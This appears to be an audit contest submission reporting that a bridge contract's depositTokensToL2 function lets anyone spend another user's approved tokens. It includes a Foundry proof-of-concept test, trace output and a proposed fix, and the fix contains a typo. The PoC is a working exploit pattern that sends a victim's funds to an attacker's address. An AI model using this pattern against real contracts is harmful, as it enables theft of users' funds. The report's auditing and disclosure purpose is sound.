Submission Details
Severity:
Lack of msg.sender Verification Allows an Attacker to Front-Run Bridge depositTokensToL2
Summary
The depositTokensToL2(address from, address l2Recipient, uint256 amount) function does not verify the integrity of msg.sender. Therefore, allowing anyone can call depositTokensToL2() using others funds if someone have already approved to BossBride.
Vulnerability Details
This can be abused by a front-running attack as described in the following scenario:
• Alice is a bridge user and makes an approve call to bridge.
• Bob does not makes an approve call to bridge.
• Both Alice and Bob must wait for that the approve call be finished.
• Once Alice's approve call be finished , Bob calls depositTokensToL2() using his own recipient no L2 before
Alice, Alice calls depositTokensToL2() will failed, causing the funds will be stealed.
POC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { ECDSA } from "openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import { MessageHashUtils } from "openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import { Ownable } from "openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { L1BossBridge, L1Vault } from "../src/L1BossBridge.sol";
import { IERC20 } from "openzeppelin/contracts/interfaces/IERC20.sol";
import { L1Token } from "../src/L1Token.sol";
contract L1BossBridgeBugsTest is Test {
event Deposit(address from, address to, uint256 amount);
address deployer = makeAddr("deployer");
address Alice = makeAddr("Alice");
address Bob = makeAddr("Bob");
address AliceInL2 = makeAddr("AliceInL2");
address BobInL2 = makeAddr("BobInL2");
Account operator = makeAccount("operator");
L1Token token;
L1BossBridge tokenBridge;
L1Vault vault;
function setUp() public {
vm.startPrank(deployer);
// Deploy token and transfer the user some initial balance
token = new L1Token();
token.transfer(address(Alice), 1000e18);
// Deploy bridge
tokenBridge = new L1BossBridge(IERC20(token));
vault = tokenBridge.vault();
// Add a new allowed signer to the bridge
tokenBridge.setSigner(operator.addr, true);
vm.stopPrank();
}
function testUserCanDepositTokensUsingOthersTokens() public {
vm.startPrank(Alice);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.stopPrank();
vm.startPrank(Bob);
vm.expectEmit(address(tokenBridge));
emit Deposit(Alice, BobInL2, amount);
tokenBridge.depositTokensToL2(Alice, BobInL2, amount);
vm.stopPrank();
vm.startPrank(Alice);
vm.expectEmit(address(tokenBridge));
emit Deposit(Alice, AliceInL2, amount);
tokenBridge.depositTokensToL2(Alice, AliceInL2, amount);
vm.stopPrank();
}
}
we run
forge test --match-test testUserCanDepositTokensUsingOthersTokens -vvv
then we got
├─ emit Deposit(from: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], to: BobInL2: [0x261D9f21F77bd84790f130465cEd3F98A56F8Dd3], amount: 10000000000000000000 [1e19])
├─ [31824] L1BossBridge::depositTokensToL2(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], BobInL2: [0x261D9f21F77bd84790f130465cEd3F98A56F8Dd3], 10000000000000000000 [1e19])
│ ├─ [2562] L1Token::balanceOf(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7]) [staticcall]
│ │ └─ ← 0
│ ├─ [23090] L1Token::transferFrom(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], 10000000000000000000 [1e19])
│ │ ├─ emit Transfer(from: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], to: L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], value: 10000000000000000000 [1e19])
│ │ └─ ← true
│ ├─ emit Deposit(from: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], to: BobInL2: [0x261D9f21F77bd84790f130465cEd3F98A56F8Dd3], amount: 10000000000000000000 [1e19])
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea])
│ └─ ← ()
├─ [0] VM::expectEmit(L1BossBridge: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
│ └─ ← ()
├─ emit Deposit(from: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], to: AliceInL2: [0x6297de96f67Ec352fe99c857cCf22b29768b6a53], amount: 10000000000000000000 [1e19])
├─ [3900] L1BossBridge::depositTokensToL2(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], AliceInL2: [0x6297de96f67Ec352fe99c857cCf22b29768b6a53], 10000000000000000000 [1e19])
│ ├─ [562] L1Token::balanceOf(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7]) [staticcall]
│ │ └─ ← 10000000000000000000 [1e19]
│ ├─ [959] L1Token::transferFrom(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], 10000000000000000000 [1e19])
│ │ └─ ← "ERC20InsufficientAllowance(0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, 0, 10000000000000000000 [1e19])"
│ └─ ← "ERC20InsufficientAllowance(0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, 0, 10000000000000000000 [1e19])"
└─ ← "Log != expected log"
Impact
The bridge users funds will be stealed.
Tools Used
forge
Recommendations
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if(msg.sender!=form){
revert L1BossBridge__WrongSender();
}
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}
Updates
Lead Judging Commences
0xnevi almost 2 years ago
Submission Judgement Published Assigned finding tags:
depositTokensToL2(): abitrary from address
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.